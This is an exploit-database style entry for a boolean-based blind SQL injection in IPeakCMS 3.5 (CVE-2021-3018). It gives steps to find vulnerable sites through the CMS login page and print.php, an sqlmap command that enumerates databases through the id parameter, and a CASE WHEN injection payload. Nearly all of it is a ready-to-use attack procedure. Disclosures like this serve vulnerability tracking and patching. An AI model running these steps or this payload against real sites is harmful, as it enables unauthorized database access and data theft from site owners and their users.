IPeakCMS 3.5 SQL Injection

`# Exploit Title: IPeakCMS 3.5 - Boolean-based blind SQLi  
# Date: 07.12.2020  
# Exploit Author: MoeAlbarbari  
# Vendor Homepage: https://ipeak.ch/  
# Software Link: N/A  
# Version: 3.5  
# Tested on: BackBox Linux  
# CVE : CVE-2021-3018  
  
Check the CMS version :goto www.site.com/cms/ and you will notice that in the login box there is the CMS name and its version   
Check if it's vulnerable, goto ->: site.com/cms/print.php if the print.php exists, then try to find any valid ID which returns page to print e.g: site.com/cms/print.php?id=1  
Parameter: id (GET based)  
Use SQLmap if you've found the valid id...  
e.g: sqlmap -u "site.com/cms/print.php?id=1" --dbs  
Payload : id=(SELECT (CASE WHEN(3104=3104) THEN 1 ELSE (SELECT 8458) END))  
  
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